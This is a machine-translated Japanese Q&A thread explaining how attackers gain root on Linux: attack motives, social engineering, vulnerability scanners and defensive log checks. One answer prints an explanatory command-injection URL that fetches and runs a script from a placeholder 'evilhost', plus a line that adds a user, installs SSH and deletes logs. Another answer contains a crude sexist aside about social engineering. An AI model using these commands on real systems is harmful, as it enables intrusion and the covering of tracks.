いいえ、私はクラッカーやそのような人になりたくありませんが、プロセスを特定しようとしています(プログラミングの観点からはさらに詳しく)。
したがって、クラッカーの主な目的は、自分が作成したソフトウェア(またはスクリプト)をインストールするためのルートアクセス権を取得することであると仮定しています。あるいは、独自のカーネルモジュールをインストールすることもできます(理由が何であれ疑っています)。一体どうすればいいですか?
人々がこの脆弱性をチェックするためにスクリプトを使用していることはわかりますが…方法も知らず、一度発見したらどうするかもしれません。既知の脆弱性があるかどうかを確認してください。
私はこれがすべて非常に新しいように聞こえることを知っています。しかし、Linux / Unixシステムは非常に安全でなければならないことを知っているので、これがどのように機能するかを理解したいのですが、誰かがrootアクセス権を取得する方法を知りたいです。
答え1
人々がシステムセキュリティを損なうことを試みるには、数え切れないほどの理由があります。一般的に:
- システムリソースの使用(スパム送信、トラフィックリレーなど)
- システム情報を取得します(例:eコマースWebサイトから顧客データを取得する)。
- システム情報の変更(ウェブサイトの破損、虚偽情報の植え付け、情報の削除など)
時には、これらの操作にルートアクセスが必要な場合があります。たとえば、ユーザー入力を適切に削除しないWebサイトに誤った形式のクエリを入力すると、そのWebサイトのデータベースにあるユーザー名/パスワード、電子メールアドレスなどの情報が公開される可能性があります。
多くのコンピュータ犯罪者は単に「スクリプトキディ」です。つまり、実際にはシステムセキュリティを理解しておらず、コードも書いていませんが、他の人が書いた攻撃を実行している人です。これは一般的に適応性がないため防御しやすい。既知の脆弱性を悪用することに限定されます。 (複数の感染したコンピュータであるボットネットを悪用する可能性がありますが、これはDDoS攻撃のリスクを意味する可能性があります。)
経験豊富な攻撃者の場合、プロセスは次のとおりです。
目標が何であるか、目標の価値が何であるかを把握します。セキュリティ(メンテナンスまたは損傷)はリスク/補償計算です。より危険で費用がかかるほど、攻撃が価値があるためには報酬がより魅力的でなければなりません。
目標に影響を与えるすべての可動部分を考慮してください。たとえば、スパムを送信したい場合できるメールサーバーを攻撃する方が合理的かもしれませんが、実際に必要なのは、ターゲットのネットワーク接続へのアクセスであるため、他のネットワーク接続サービスです。ユーザーデータが必要な場合は、まずデータベースサーバー、それにアクセスできるWebアプリケーションとWebサーバー、それをバックアップするシステムなどを見てみましょう。
いいえ人的要素を無視してください。コンピュータシステムを保護することは、人間の行動を保護するよりもはるかに簡単です。誰かがしてはいけない情報を公開させたり、してはいけないコードを実行させたりするのは簡単で効果的です。大学では、友人のセキュリティが徹底した企業ネットワークに侵入し、わいせつな副社長に会ったと賭けた。私の友人の技術専門知識は私よりはるかに優れていましたが、何もない短いスカートを着た17歳の少年少女よりも強力だ!
おっぱいが足りない場合は、本当の目的を考慮せずに、無意味なゲームやいくつかの愚か者が楽しくダウンロードできるものを提供することを検討してください。
識別した各部分を見て、目的の機能を達成するために何ができるか、どのように調整できるかを考えてみましょう。おそらく、ヘルプデスクで発信者を正しく識別せず、ユーザーに電話をかけずに頻繁にユーザーのパスワードをリセットすることがあります。混乱しているようです。他の人のパスワードを教えてください。おそらく、Webアプリは実行中の関数に貼り付ける前に検索ボックスに入力された内容がコードではないことを確認しないかもしれません。セキュリティ侵害は、意図的に露出してはならない方法で動作できることから始まることがよくあります。
答え2
最大の要因は、攻撃者が持っているアクセスの種類です。彼らが物理的にアクセスできる場合、あなたは台無しになります。興味のあるものがリモートアクセスだけなら、実行中の項目によって異なり、良い設定がすべてです。標準のLinuxサーバーはftp、ssh、http、https、およびmysqlを実行できます。 SSHは安全ですが、rootログインは許可されておらず、すべてのアカウントに正しいパスワードが必要です。 FTPがヒットまたは失敗しました。 VSFTPがあり、ユーザーをchrootする場合は非常に安全です。他の多くのバージョンにも知られている脆弱性があります。 HTTPはおそらく最も脆弱な領域です。主な関心事は、システムでファイルを実行したり、システムにファイルをアップロードすることです。 WebサイトがPHP5で構築されている場合、SQLインジェクションは非常に困難です。セキュリティ学生グループと私は数週間の間にクリーンアップされていないPHP5のWebサイトにSQLを注入しようとしましたが、成功しませんでした。 MySQLを使用している場合は、root以外のユーザーを使用し、ログインをApacheサーバーに限定してください。
Webサイトの脆弱性をテストできるFirefoxアドインはいくつかあります。 access me, xss me, sql Inject me
安全を維持するためにレース中に常にやるべき重要なことがいくつかあります。
netstat
- 開いているポートとの接続を確認してください。w
- 誰がログインしたのか、どのくらいの時間ログインしているのか、- ログインログを確認し、
- 実行されたコマンドのbash履歴、
ps
- コマンドを実行します。/etc/passwd
追加ユーザーのため/etc/sudoers
sudo アクセスに使用されます。
通常、攻撃者はアクセス権を取得した後にルート権限を取得しようとします。現在、一般ユーザーがroot権限を取得する可能性がある権限昇格の脆弱性がいくつかあります。その後、彼らはユーザーを追加してバックドアを開き、将来のアクセスのためにそれを開くことを望みます。
これは私たちの学校のサイバー防衛ウェブサイトです。自由に見学し、いくつかの質問をしてください。https://thislink.doesntexist.org/
答え3
システムのセキュリティは管理者の能力にかかっているので、「Linux / Unixシステムは非常に安全でなければなりません」と言うのは間違っています。
それでは、ハッキングについて学びましょう。 「というツールがあります。脆弱性スキャナー「いいねナサス悪用できるものを見つけてください。任意のファイルを任意の場所にアップロードできるようにする誤って設定されたApacheサーバーなど、複雑なシステムでは何千もの問題が発生する可能性があります。これは、「パスワードの検索」機能を使用して、パスワードを回復できるデータベースや電子メールアカウントにアクセスするなど、追加の攻撃のための踏み台として機能します。
時にはハッカーが接続権限を得て邪悪なことをしようとする場合もあります。時々人々は楽しんでそれをします(しかしそれは愚かなことです)。
そして、これはストーリー最近有名なハッカー攻撃。セキュリティに興味がある人には、この内容が大きな助けになると思います!エクスプロイトのまとめ引用:
SQLインジェクションの欠陥と安全でないパスワードを持つWebアプリケーション。間違ったパスワードを選択してください。再利用されたパスワード。パスワードベースの認証を許可するサーバー。パッチされていないシステム。資格情報を要求された人が何かが間違っていることに気づいたはずですが、彼らが電子メールで資格情報を喜んで提供したことは驚くべきことです。
答え4
攻撃ベクトルの数はほぼ無制限です。概念的に最も簡単なアプローチの1つは、プログラムを公開し、そのプログラムが実際に実行するものとは異なるタスクを実行すると言うことです。最初からユーザーフレンドリーなガイドラインを提供し、sudo
世界が繁栄するのを見てください。これは、クローズソースプログラムで毎日発生します。なぜなら、それがどのように機能するのかを事前に確認することは不可能です。ソニーCD。
リモートホストに特殊文字列を送信することもできます。高いレベルの例として、いくつかのソフトウェアが実行されているWebサーバーがあるとします。URLの一部をコマンドとして実行逃げる必要もなく、害を及ぼさないことを確認する必要もありません。そのようなものを送ってくださいhttp://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh
。デコード後の検索文字列は次のようになります。実行されると、script.sh は Web サーバーのユーザーと同じアクセス権で実行され、コンピュータ上ですべての操作を実行します。時々、人々はこれらの機能を「利便性」の源として使用します。これは怠惰および/または無知と同義です。ルートとして実行されない場合でも、スクリプトはインストールされているソフトウェアの他の脆弱性に対して何千ものテストを実行し、脆弱性が見つかった場合は別のコマンドを実行する可能性があります。たとえば、最後のコマンドは SSH アクセス権を取得し、破損の兆候を取り除くことです。foo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.sh
useradd blabla; apt-get install openssh; rm /var/log/apache.log
[コマンドは明らかに単純化され、とにかく機能しません。 YMMV]